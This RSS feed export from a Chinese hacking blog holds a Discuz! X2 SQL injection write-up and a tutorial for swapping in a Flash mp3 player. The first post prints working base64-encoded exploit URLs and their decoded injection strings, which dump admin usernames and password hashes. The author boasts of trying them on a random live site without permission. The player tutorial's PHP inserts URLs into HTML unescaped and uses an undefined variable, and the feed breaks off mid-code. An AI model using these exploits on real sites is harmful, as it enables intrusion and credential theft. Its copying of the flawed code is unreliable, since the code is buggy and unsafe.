<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Hacklog &#187; discuz</title>
	<atom:link href="http://ihacklog.com/cat/php/discuz/feed" rel="self" type="application/rss+xml" />
	<link>http://ihacklog.com</link>
	<description>荒野无灯weblog</description>
	<lastBuildDate>Sat, 04 Feb 2012 12:30:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Discuz! X2 SQL注射漏洞 (20110629)</title>
		<link>http://ihacklog.com/security_optimization/discuz-x2-sql-injection-bug-20110629.html</link>
		<comments>http://ihacklog.com/security_optimization/discuz-x2-sql-injection-bug-20110629.html#comments</comments>
		<pubDate>Thu, 30 Jun 2011 13:29:00 +0000</pubDate>
		<dc:creator>荒野无灯</dc:creator>
				<category><![CDATA[discuz]]></category>
		<category><![CDATA[安全优化]]></category>
		<category><![CDATA[bug]]></category>
		<category><![CDATA[SQL injection]]></category>
		<category><![CDATA[X2]]></category>

		<guid isPermaLink="false">http://ihacklog.com/?p=4582</guid>
		<description><![CDATA[来自岁月联盟猪猪的博客： http://blog.syue.com/post/148.html 详细： if(!defined(&#8216;IN_DISCUZ&#8217;)) { exit(&#8216;Access Denied&#8217;); } define(&#8216;NOROBOT&#8217;, TRUE); @list($_G['gp_aid'], $_G['gp_k'], $_G['gp_t'], $_G['gp_uid'], $_G['gp_tableid']) = explod...]]></description>
			<content:encoded><![CDATA[<p>来自岁月联盟猪猪的博客： <a target="_blank" href="http://www.ihacklog.com/l.php?url=blog.syue.com/post/148.html">http://blog.syue.com/post/148.html</a></p>
<blockquote><p>详细：<br />
if(!defined(&#8216;IN_DISCUZ&#8217;)) {<br />
exit(&#8216;Access Denied&#8217;);<br />
}<br />
define(&#8216;NOROBOT&#8217;, TRUE);<br />
@list($_G['gp_aid'], $_G['gp_k'], $_G['gp_t'], $_G['gp_uid'], $_G['gp_tableid']) = explode(&#8216;|&#8217;, base64_decode($_G['gp_aid']));</p>
<p>if(!empty($_G['gp_findpost']) &#038;&#038; ($attach = DB::fetch_first(“SELECT pid, tid FROM “.DB::table(&#8216;forum_attachment&#8217;).” WHERE aid=&#8217;$_G[gp_aid]&#8216;”))) {<br />
dheader(&#8216;location: forum.php?mod=redirect&#038;goto=findpost&#038;pid=&#8217;.$attach['pid'].&#8217;&#038;ptid=&#8217;.$attach['tid']);<br />
}</p>
<p>变量aid 直接base64_decode 后传入 SQL查询，造成注射漏洞。。。</p>
<p>http://www.xxxx.net/forum.php?mod=attachment&#038;findpost=ss&#038;aid=MScgYW5kIDE9MiB1bmlvbiBhbGwgc2VsZWN0IDEsVEFCTEVfTkFNRSBmcm9tIElORk9STUFUSU9OX1NDSEVNQS5UQUJMRVMgd2hlcmUgVEFCTEVfU0NIRU1BPWRhdGFiYXNlKCkgYW5kICBUQUJMRV9OQU1FIGxpa2UgJyVfbWVtYmVyfHh8eHx4fHg%3D</p>
<p>转向后网址</p>
<p>http://www.xxxx.net/forum.php?mod=redirect&#038;goto=findpost&#038;pid=1&#038;ptid=pre_common_admincp_member</p>
<p>暴出表名 pre_common_admincp_member</p>
<p>实际查询为：</p>
<p>$x=”1&#8242; and 1=2 union all select 1,TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=database() and TABLE_NAME like &#8216;%_member|x|x|x|x”;<br />
//die (urlencode(base64_encode($x)));</p></blockquote>
<p>在dz官网论坛看到有人已经发了exp:</p>
<blockquote><p>Discuz! X2.0 SQL注入漏洞 EXP</p>
<p>DZ2.0直接暴管理账号密码（默认前缀的情况下）<br />
/forum.php?mod=attachment&#038;findpost=ss&#038;aid=MScgYW5kIDE9MiB1bmlvbiBhbGwgc2V<br />
sZWN0IDEsZ3JvdXBfY29uY2F0KHVzZXJuYW1lLDB4N0MzMjc0NzQ3QyxwYXNzd<br />
29yZCkgZnJvbSBwcmVfY29tbW9uX21lbWJlciB3aGVyZSAgdXNlcm5hbWUgbGl<br />
rZSAnYWRtaW58eHx5%3D<br />
base64解码<br />
1′ and 1=2 union all select 1,group_concat(username,0x7C3274747C,password)<br />
from pre_common_member where  username like ‘admin|x|y<br />
如果不是默认前缀<br />
暴前缀EXP<br />
/forum.php?mod=attachment&#038;findpost=ss&#038;aid=MScgYW5kIDE9MiB1bmlvbiBhbGwgc2V<br />
sZWN0IDEsVEFCTEVfTkFNRSBmcm9tIElORk9STUFUSU9OX1NDSEVNQS5UQUJMR<br />
VMgd2hlcmUgVEFCTEVfU0NIRU1BPWRhdGFiYXNlKCkgYW5kICBUQUJMRV9OQU1<br />
FIGxpa2UgJyVfbWVtYmVyfHh8eQ%3D
</p></blockquote>
<p>随便拿了个站测试一下，管理员的用户名和密码hash果断暴出：<br />
<a href="http://static.ihacklog.com/wp-files/2011/06/dz-x2-sql-injection-exp-admin-pass.png" class="tinybox2"  onclick="TINY.box.show({image:this.href,boxid:'frameless',animate:true,fixed:false});return false;"  title="Click to enlarge（点击查看大图）" ><img src="http://static.ihacklog.com/wp-files/2011/06/dz-x2-sql-injection-exp-admin-pass-550x272.png" alt="" title="dz-x2-sql-injection-exp-admin-pass" width="550" height="272" class="alignnone size-medium wp-image-4584" /> </a></p>
<p>dz官方已经发布:<a target="_blank" href="http://www.ihacklog.com/l.php?url=www.discuz.net/forum.phporz__mod=redirect&#038;goto=findpost&#038;ptid=2168918&#038;pid=19978211">补丁</a></p>

<script type="text/javascript"> 
var cur_host=top.location.hostname;
var huangye_host="ihacklog.com";
if ( huangye_host != cur_host) 
{
	var cur_url=top.location.href;
	//top.location.href = cur_url.replace(cur_host,huangye_host);
	top.location.href = "http://ihacklog.com/?p=4582";
}
</script> 			
<div class='sub'><h4>喜欢这篇文章吗?</h4><p>请订阅本站 <a class="feed" style="font-family:Consolas,'DejaVu Sans Mono',monospace,'Comic Sans MS',Monaco;font-size:14px;" href="http://ihacklog.com/feed" onclick="prompt(&#39;URL:&#39;, this.href); return false;">RSS feed</a> 或<a style="display:inline-block;width:90px;margin-bottom:-8px;" target="_blank" href="http://list.qq.com/cgi-bin/qf_invite?id=5899d1ae341c4fb741adf6648000fbaf3ef47b98e2a163da"><img border="0" alt="填写您的邮件地址，订阅我们的精彩内容：" src="http://rescdn.list.qq.com/zh_CN/htmledition/images/qunfa/manage/picMode_dark_s.png" /></a></p></div>
                <!-- 版权声明开始 -->
   		<div id="permissions">
		作者：<a href="http://ihacklog.com">荒野无灯</a><br/>
		出处：<span style="color: #333300;"><a target="_blank"  href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span><br/>
                <!-- 版权声明结束 -->
                <!-- 协议声明开始 -->
            <p>
            <strong>声明:</strong> 本站遵循 <span style="color: #ff0000;"><a href="http://creativecommons.org/licenses/by-nc-sa/2.5/cn/" target="_blank"> 署名-非商业性使用-相同方式共享 2.5</a> </span>共享协议. 转载请注明转自<span style="color: #333300;"><a target="_blank" href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span>
            </p>
                <!-- 协议声明结束 -->
                
             <p>
             本文链接:  <a  target="_blank"  href="http://ihacklog.com/?p=4582" title="Permanent Link to Discuz! X2 SQL注射漏洞 (20110629)" onclick="prompt(&#39;URL:&#39;, this.href); return false;">http://ihacklog.com/?p=4582</a>
            </p>
             </div><h3  class="related_post_title">相关日志</h3><ul class="related_post"><li>2011年09月22日  //  <a href="http://ihacklog.com/php/wordpress/wpskills/codecolorer-v0-9-9-js-loading-bug.html" title="CodeColorer v0.9.9 一处JS加载BUG">CodeColorer v0.9.9 一处JS加载BUG</a> (3)</li><li>2011年08月20日  //  <a href="http://ihacklog.com/php/habari/fixed-a-syntax-check-bug-in-habari.html" title="修正Habari检查PHP文件语法的一个BUG">修正Habari检查PHP文件语法的一个BUG</a> (1)</li><li>2010年04月24日  //  <a href="http://ihacklog.com/php/discuz/add-beautiful-flash-audio-player-for-dz.html" title="为discuz添加漂亮的mp3播放器[适合discuz 7.2/discuz X2]">为discuz添加漂亮的mp3播放器[适合discuz 7.2/discuz X2]</a> (6)</li><li>2010年04月17日  //  <a href="http://ihacklog.com/php/wordpress/plugins/add-wp-shortcode-to-enable-media-playing.html" title="不用audio-player插件也播放mp3">不用audio-player插件也播放mp3</a> (19)</li><li>2010年03月3日  //  <a href="http://ihacklog.com/php/discuz/discuz-code-of-music-autoplay.html" title="discuz论坛中发帖之音乐自动播放方法">discuz论坛中发帖之音乐自动播放方法</a> (3)</li><li>2009年12月2日  //  <a href="http://ihacklog.com/software/cool_software_share/discuz-1-0-found.html" title="深夜，在DZ官网找到了传说中的discuz1.0">深夜，在DZ官网找到了传说中的discuz1.0</a> (8)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://ihacklog.com/security_optimization/discuz-x2-sql-injection-bug-20110629.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>为discuz添加漂亮的mp3播放器[适合discuz 7.2/discuz X2]</title>
		<link>http://ihacklog.com/php/discuz/add-beautiful-flash-audio-player-for-dz.html</link>
		<comments>http://ihacklog.com/php/discuz/add-beautiful-flash-audio-player-for-dz.html#comments</comments>
		<pubDate>Sat, 24 Apr 2010 12:07:36 +0000</pubDate>
		<dc:creator>荒野无灯</dc:creator>
				<category><![CDATA[discuz]]></category>
		<category><![CDATA[mp3]]></category>
		<category><![CDATA[播放器]]></category>

		<guid isPermaLink="false">http://www.ihacklog.com/?p=3709</guid>
		<description><![CDATA[dz自带的那个实在太丑了，呵呵，换成这个效果怎么样？ 看图： discuz 7.2修改方法 修改 include/discuzcode.func.php中的parseaudio函数为如下即可： 1234567891011121314151617function parseaudio&#40;$url, $width = 400, $autostart = 0&#41; &#123; &#160; &#160; $ext = strtolower&#40;substr&#40;strrchr&#40;$ur...]]></description>
			<content:encoded><![CDATA[<p>dz自带的那个实在太丑了，呵呵，换成这个效果怎么样？<br />
看图：<br />
<a href="http://static.ihacklog.com/wp-files/2010/04/audio_player_for_dz.png" class="tinybox2"  onclick="TINY.box.show({image:this.href,boxid:'frameless',animate:true,fixed:false});return false;"  title="Click to enlarge（点击查看大图）" ><img src="http://static.ihacklog.com/wp-files/2010/04/audio_player_for_dz-550x272.png" alt="" title="audio_player_for_dz" width="550" height="272" class="alignnone size-medium wp-image-3710" /> </a></p>
<h3>discuz 7.2修改方法</h3>
<p>修改 include/discuzcode.func.php中的parseaudio函数为如下即可：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">function</span> parseaudio<span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #339933;">,</span> <span style="color: #000088;">$width</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">400</span><span style="color: #339933;">,</span> <span style="color: #000088;">$autostart</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$ext</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/strtolower"><span style="color: #990000;">strtolower</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/strrchr"><span style="color: #990000;">strrchr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'.'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">5</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">switch</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ext</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'mp3'</span><span style="color: #339933;">:</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$auto</span><span style="color: #339933;">=</span><span style="color: #000088;">$autostart</span>?<span style="color: #0000ff;">'yes'</span><span style="color: #339933;">:</span><span style="color: #0000ff;">'no'</span><span style="color: #339933;">;</span>&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #0000ff;">'&lt;embed src=&quot;images/common/player.swf?soundFile='</span><span style="color: #339933;">.</span><span style="color: #000088;">$url</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&amp;autostart='</span><span style="color: #339933;">.</span><span style="color: #000088;">$auto</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&amp;animation=yes&amp;encode=no&amp;initialvolume=80&amp;remaining=yes&amp;noinfo=no&amp;buffer=5&amp;checkpolicy=no&amp;rtl=no&amp;bg=E5E5E5&amp;text=333333&amp;leftbg=CCCCCC&amp;lefticon=333333&amp;volslider=666666&amp;voltrack=FFFFFF&amp;rightbg=B4B4B4&amp;rightbghover=999999&amp;righticon=333333&amp;righticonhover=FFFFFF&amp;track=FFFFFF&amp;loader=009900&amp;border=CCCCCC&amp;tracker=DDDDDD&amp;skip=666666&quot; type=&quot;application/x-shockwave-flash&quot; wmode=&quot;transparent&quot; allowscriptaccess=&quot;always&quot; width=&quot;290&quot; height=&quot;30&quot;&gt;'</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'wma'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'mid'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'wav'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #0000ff;">'&lt;object classid=&quot;clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6&quot; width=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$width</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; height=&quot;64&quot;&gt;&lt;param name=&quot;invokeURLs&quot; value=&quot;0&quot;&gt;&lt;param name=&quot;autostart&quot; value=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$autostart</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; /&gt;&lt;param name=&quot;url&quot; value=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$url</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; /&gt;&lt;embed src=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$url</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; autostart=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$autostart</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; type=&quot;application/x-mplayer2&quot; width=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$width</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; height=&quot;64&quot;&gt;&lt;/embed&gt;&lt;/object&gt;'</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'ra'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'rm'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'ram'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$mediaid</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'media_'</span><span style="color: #339933;">.</span>random<span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">3</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #0000ff;">'&lt;object classid=&quot;clsid:CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA&quot; width=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$width</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; height=&quot;32&quot;&gt;&lt;param name=&quot;autostart&quot; value=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$autostart</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; /&gt;&lt;param name=&quot;src&quot; value=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$url</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; /&gt;&lt;param name=&quot;controls&quot; value=&quot;controlpanel&quot; /&gt;&lt;param name=&quot;console&quot; value=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$mediaid</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'_&quot; /&gt;&lt;embed src=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$url</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; type=&quot;audio/x-pn-realaudio-plugin&quot; controls=&quot;ControlPanel&quot; console=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$mediaid</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'_&quot; width=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$width</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; height=&quot;32&quot;&gt;&lt;/embed&gt;&lt;/object&gt;'</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>
<p>flash播放器下载地址： <a target="_blank" href="http://www.ihacklog.com/l.php?url=wordpress.org/extend/plugins/audio-player/">http://wordpress.org/extend/plugins/audio-player/</a><br />
这是一个用于wp的插件，下载后从中提取出那个flash播放器上传到论坛images/common/下 就OK了。 <img src='http://ihacklog.com/wordpress/wp-includes/images/smilies/icon_mrgreen.gif' alt=':mrgreen:' class='wp-smiley' />  </p>
<hr />
<h3>discuz X2 修改方法</h3>
<p>把上面说到的flash文件更名为wpaudio_mp3player.swf ,放到static/image/common 目录下面。<br />
再修改source/function/function_discuzcode.php第348行parseaudio()函数，在case &#8216;mp3&#8242;:　后面加上：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$auto</span><span style="color: #339933;">=</span><span style="color: #000088;">$autostart</span>?<span style="color: #0000ff;">'yes'</span><span style="color: #339933;">:</span><span style="color: #0000ff;">'no'</span><span style="color: #339933;">;</span> &nbsp; &nbsp; &nbsp; &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #0000ff;">'&lt;embed src=&quot;'</span><span style="color: #339933;">.</span>STATICURL<span style="color: #339933;">.</span><span style="color: #0000ff;">'image/common/wpaudio_mp3player.swf?soundFile='</span><span style="color: #339933;">.</span><a href="http://www.php.net/base64_encode"><span style="color: #990000;">base64_encode</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&amp;autostart='</span><span style="color: #339933;">.</span><span style="color: #000088;">$auto</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&amp;animation=yes&amp;encode=yes&amp;initialvolume=80&amp;remaining=yes&amp;noinfo=no&amp;buffer=5&amp;checkpolicy=no&amp;rtl=no&amp;bg=E5E5E5&amp;text=333333&amp;leftbg=CCCCCC&amp;lefticon=333333&amp;volslider=666666&amp;voltrack=FFFFFF&amp;rightbg=B4B4B4&amp;rightbghover=999999&amp;righticon=333333&amp;righticonhover=FFFFFF&amp;track=FFFFFF&amp;loader=009900&amp;border=CCCCCC&amp;tracker=DDDDDD&amp;skip=666666&quot; type=&quot;application/x-shockwave-flash&quot; wmode=&quot;transparent&quot; allowscriptaccess=&quot;always&quot; width=&quot;290&quot; height=&quot;30&quot;&gt;'</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>这里帖出修改后的完整代码吧：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">function</span> parseaudio<span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #339933;">,</span> <span style="color: #000088;">$width</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">400</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$ext</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/strtolower"><span style="color: #990000;">strtolower</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/strrchr"><span style="color: #990000;">strrchr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'.'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">5</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">switch</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ext</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'mp3'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$auto</span><span style="color: #339933;">=</span><span style="color: #000088;">$autostart</span>?<span style="color: #0000ff;">'yes'</span><span style="color: #339933;">:</span><span style="color: #0000ff;">'no'</span><span style="color: #339933;">;</span> &nbsp; &nbsp; &nbsp; &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #0000ff;">'&lt;embed src=&quot;'</span><span style="color: #339933;">.</span>STATICURL<span style="color: #339933;">.</span><span style="color: #0000ff;">'image/common/wpaudio_mp3player.swf?soundFile='</span><span style="color: #339933;">.</span><a href="http://www.php.net/base64_encode"><span style="color: #990000;">base64_encode</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&amp;autostart='</span><span style="color: #339933;">.</span><span style="color: #000088;">$auto</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&amp;animation=yes&amp;encode=yes&amp;initialvolume=80&amp;remaining=yes&amp;noinfo=no&amp;buffer=5&amp;checkpolicy=no&amp;rtl=no&amp;bg=E5E5E5&amp;text=333333&amp;leftbg=CCCCCC&amp;lefticon=333333&amp;volslider=666666&amp;voltrack=FFFFFF&amp;rightbg=B4B4B4&amp;rightbghover=999999&amp;righticon=333333&amp;righticonhover=FFFFFF&amp;track=FFFFFF&amp;loader=009900&amp;border=CCCCCC&amp;tracker=DDDDDD&amp;skip=666666&quot; type=&quot;application/x-shockwave-flash&quot; wmode=&quot;transparent&quot; allowscriptaccess=&quot;always&quot; width=&quot;290&quot; height=&quot;30&quot;&gt;'</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'wma'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'mid'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'wav'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #0000ff;">'&lt;object classid=&quot;clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6&quot; width=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$width</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; height=&quot;64&quot;&gt;&lt;param name=&quot;invokeURLs&quot; value=&quot;0&quot;&gt;&lt;param name=&quot;autostart&quot; value=&quot;0&quot; /&gt;&lt;param name=&quot;url&quot; value=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$url</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; /&gt;&lt;embed src=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$url</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; autostart=&quot;0&quot; type=&quot;application/x-mplayer2&quot; width=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$width</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; height=&quot;64&quot;&gt;&lt;/embed&gt;&lt;/object&gt;'</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'ra'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'rm'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'ram'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$mediaid</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'media_'</span><span style="color: #339933;">.</span>random<span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">3</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #0000ff;">'&lt;object classid=&quot;clsid:CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA&quot; width=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$width</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; height=&quot;32&quot;&gt;&lt;param name=&quot;autostart&quot; value=&quot;0&quot; /&gt;&lt;param name=&quot;src&quot; value=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$url</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; /&gt;&lt;param name=&quot;controls&quot; value=&quot;controlpanel&quot; /&gt;&lt;param name=&quot;console&quot; value=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$mediaid</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'_&quot; /&gt;&lt;embed src=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$url</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; autostart=&quot;0&quot; type=&quot;audio/x-pn-realaudio-plugin&quot; controls=&quot;ControlPanel&quot; console=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$mediaid</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'_&quot; width=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$width</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; height=&quot;32&quot;&gt;&lt;/embed&gt;&lt;/object&gt;'</span><span style="color: 